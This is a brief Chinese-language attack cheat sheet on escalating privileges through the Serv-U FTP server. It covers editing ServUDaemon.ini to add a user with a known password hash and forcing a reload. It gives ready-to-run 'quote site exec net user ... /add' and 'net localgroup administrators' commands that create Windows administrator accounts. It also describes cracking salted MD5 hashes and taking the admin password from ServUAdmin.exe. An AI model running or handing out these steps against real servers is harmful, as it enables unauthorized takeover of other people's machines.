原理:修改server-u目录下的配置文件ServUDaemon.ini
Serv-U是一种被广泛运用的FTP服务器软件
有权限
1.首先新建一个用户名字
2.复制其他有权限的用户
3.修改密码
密码开头的gw是自动生成的,在进行加密时要连带着gw一起,最后把密码改为gw046a66fe42ef34eff3a5307cfa42757b
4.登录,输入命令添加用户,需要重起Serv-U才能生效
- 也可以在[[GLOBAL]]部分加入ReloadSettings=True,在重新载入ServUDaemon.ini的内容后该语句会自动消失,添加的用户也会立即生效。
quote site exec net user D1stiny 123 /add
quote site exec net localgroup administrators D1stiny /add
无修改权限
md5密码爆破
1.这里用的名为passwordspro.exe的工具,右击add,写入密文和salt,选择判断出加salt的方式
2.点击settings,选择字母数字特殊符号,然后开始,慢慢等就行了
溢出提权
原理:通过默认的管理账号创建用户进行提权
如果没有改密码
cmd /c net user DisKill /add & net localgroup administrators DisKill /add
如果改了密码,找到ServUAdmin.exe,下载到本地,打开,搜索localadministrator,即可找到密码